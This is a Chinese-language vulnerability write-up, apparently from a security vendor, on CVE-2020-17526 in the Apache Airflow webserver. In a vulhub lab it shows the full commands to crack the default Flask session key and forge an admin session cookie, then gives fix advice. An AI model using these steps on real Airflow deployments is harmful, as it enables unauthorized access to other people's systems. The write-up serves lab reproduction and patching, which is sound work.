CVE-2020-17526 Apache Airflow Webserver 安全漏洞

 

0x01漏洞简述

 
Airflow 的 Experimental API 的默认设置允许所有 API 请求在未经身份验证的情况下执行,通过会话验证替代站点绕过 Apache Airflow 的限制,以获得用户权限。
 

0x02知识扩展

 
Apache Airflow是Airbnb一个Python 编写的开源工作流管理工具。目前是Apache软件基金会的孵化计划。Airflow 通过 DAG(有向无环图)来定义整个工作流,因而具有非常强大的表达能力。
 

0x03风险等级

 
评定方式    等级
威胁等级    高危
影响面        广泛
 

0x04影响版本

 
Apache Airflow Web < 1.10.14
 

0X05漏洞环境搭建

 
所需系统环境及配置信息
靶机
操作系统:centos 7
IP:192.168.117.130
攻击机
操作系统:win10
IP:172.16.16.69
安装步骤
1、使用docker搭建vulhub
https://github.com/vulhub/vulhub
2、进入vulhub靶场找到对应的漏洞目录并启动
  • docker-compose up -d
浏览器可以正常访问
192.168.117.130:8080

 

0x06漏洞验证

 
 
1、访问登陆页面,获取服务器返回的cookie
  • Cookie: session=eyJjc3JmX3Rva2VuIjoiNjE3NDgzOTMxZDRmNzFjM2FkZDg5M2NiYTM5NmZkYTExMDAzOTFmNCJ9.YrQ8iQ.WKSCVI_FWn6hL_5KFi3_Kd_suus

 
2、下载Flask_Unsign工具(需要Python3的环境,2022kali内置py3)
命令:
  • pip install flask-unsign-wordlist

 
命令:
  • pip install flask-unsign[wordlist]

3、使用 Flask_Unsign工具破解会话密钥,key为“temporary_key
命令:
  • flask-unsign -u -c eyJjc3JmX3Rva2VuIjoiNjE3NDgzOTMxZDRmNzFjM2FkZDg5M2NiYTM5NmZkYTExMDAzOTFmNCJ9.YrQ8iQ.WKSCVI_FWn6hL_5KFi3_Kd_suus

4、使用这个key生成一个新的session,其中伪造user_id为1
命令:
  • flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"

5、浏览器中使用新生成的cookie访问

6、成功绕过登陆界面

 

0x07修复建议

 

1、更改 [webserver] secret_key 配置的默认值
2、升级Apache Airflow至最新版本
 

0x08参考链接

 
  •  
https://vulhub.org/#/environments/airflow/CVE-2020-17526/
  • http://cn-sec.com/archives/930196.html

END

 
 
如果您遇到网络安全问题
欢迎致电:0991-8156363
或发送至:sudo@xjsec.cn
新疆海狼科技,您身边的网络安全助理